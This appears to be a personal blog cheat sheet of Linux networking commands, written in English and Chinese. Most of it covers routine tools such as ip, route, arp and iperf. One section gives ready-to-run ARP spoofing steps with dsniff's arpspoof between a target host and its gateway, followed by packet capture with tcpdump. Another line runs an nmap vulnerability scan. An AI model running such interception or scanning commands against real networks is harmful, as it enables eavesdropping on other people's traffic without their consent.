Network tools

mtr

ip

ip -c address

netstat

netstat -rn

ifconfig

ping

nmtui

tracepath

route

IP routing table

route -n
route add default gw 140.112.30.254
route add -net 132.236.220.64 netmask 255.255.255.192

dig

arp

arp -n

靜態指定

sudo arp -s 192.168.1.1 a6:aa:15:8a:17:22

刪除動態指定

sudo arp -d 192.168.1.1 a6:aa:15:8a:17:22

增加arp table

arp -s hostname(IP) Hardware_address
arp -s 192.168.1.100 01:00:2D:23:A1:0E

ARP spoof

step

install

apt-get install dsniff # ubuntu

Enable IP forwarding

sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

Run ARP spoofing

sudo arpspoof 192.168.0.100 -t 192.168.0.1
sudo arpspoof 192.168.0.1 -t 192.168.0.100

or

sudo arpspoof -i eth0          \
              -t 192.168.1.201 \ # target
              -r 192.168.1.1     # route

dump

sudo tcpdump -i wlan0 -nn -w filename

tcpdump

tcpdump [-] [-i interface] [-w 儲存檔名] [-c 次數] [-r 檔案] [expression]

expression 請看 man pcap-filter

wireshark

iPerf

測兩點間的頻寬download

$ iperf3 -c 192.168.?.?
$ iperf -s

nmap

nmap --script vuln 36.10.10.3 --reason

ipcalc

ipcalc 192.168.7.0/27

Cisco Packet Tracer

udhcpc

dhcp client from busybox

files

/etc/network/interfaces

/etc/resolv.conf

firewall

  • RouterOS
  • pfSense

1 thought on “Network tools

Leave a Reply

Your email address will not be published. Required fields are marked *